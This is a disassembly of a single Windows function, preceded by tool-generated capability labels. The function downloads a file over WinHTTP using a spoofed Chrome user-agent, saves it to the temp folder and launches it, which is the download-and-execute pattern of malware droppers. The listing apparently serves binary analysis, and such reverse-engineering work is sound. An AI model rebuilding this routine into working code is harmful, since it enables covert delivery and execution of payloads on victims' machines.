Function at 0x10008570
Capabilities:
Create process on windows
Delete file
Get common file path
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18c4
call fcn.10020880
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
push 0x2f
push ebx
call fcn.10021611
add esp, 8
test eax, eax
je 0x10008892
lea esi, [eax + 2]
test esi, esi
je 0x10008892
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x10008892
push esi
lea eax, [ebp - 0x418]
push eax
push 0x10056a00
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.10008530
add esp, 0x14
lea eax, [ebp - 0x210]
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x1000861d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_95.0.4638.54_Safari_537.36
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov edi, eax
test edi, edi
je 0x10008892
lea eax, [ebp - 0x820]
mov dword [ebp - 0x185c], 0
mov dword [ebp - 0x1858], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x620]
movlpd qword [ebp - 0x1864], xmm0
mov dword [ebp - 0x183c], eax
lea eax, [ebp - 0x1868]
push eax
push 0
push 0
push ebx
movlpd qword [ebp - 0x1850], xmm0
movlpd qword [ebp - 0x1848], xmm0
mov dword [ebp - 0x1840], 0
movlpd qword [ebp - 0x1834], xmm0
mov dword [ebp - 0x1868], 0x3c
mov dword [ebp - 0x1854], 0x100
mov dword [ebp - 0x1838], 0x104
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
je 0x1000888b
push 0
push dword [ebp - 0x1850]
push dword [ebp - 0x1858]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, eax
mov dword [ebp - 0x1828], ebx
test ebx, ebx
je 0x1000888b
push 0x100
push 0
push 0
push 0
lea eax, [ebp - 0x620]
push eax
push 0x10056af8
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov esi, eax
test esi, esi
jne 0x1000871b
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push ebx
call esi
push edi
call esi
jmp 0x10008892
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1000887a
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1000887a
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10008874
lea eax, [ebp - 0x1824]
push eax
push 0x1000
lea eax, [ebp - 0x1820]
push eax
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x100087ba
mov eax, dword [ebp - 0x1824]
test eax, eax
je 0x100087ba
push 0
lea ecx, [ebp - 0x182c]
push ecx
push eax
lea eax, [ebp - 0x1820]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x1824], 0
ja 0x10008771
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push dword [ebp - 0x1828]
call esi
push edi
call esi
lea eax, [ebp - 0x1878]
mov dword [ebp - 0x18c0], 0x44
push eax
lea eax, [ebp - 0x18c0]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x210]
movlpd qword [ebp - 0x18bc], xmm0
push eax
movlpd qword [ebp - 0x18b4], xmm0
movlpd qword [ebp - 0x18ac], xmm0
movlpd qword [ebp - 0x18a4], xmm0
movlpd qword [ebp - 0x189c], xmm0
movlpd qword [ebp - 0x1894], xmm0
movlpd qword [ebp - 0x188c], xmm0
movlpd qword [ebp - 0x1884], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10008892
push dword [ebp - 0x1878]
call ebx
push dword [ebp - 0x1874]
call ebx
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x1828]
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push ebx
call esi
push edi
call esi
jmp 0x10008892
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret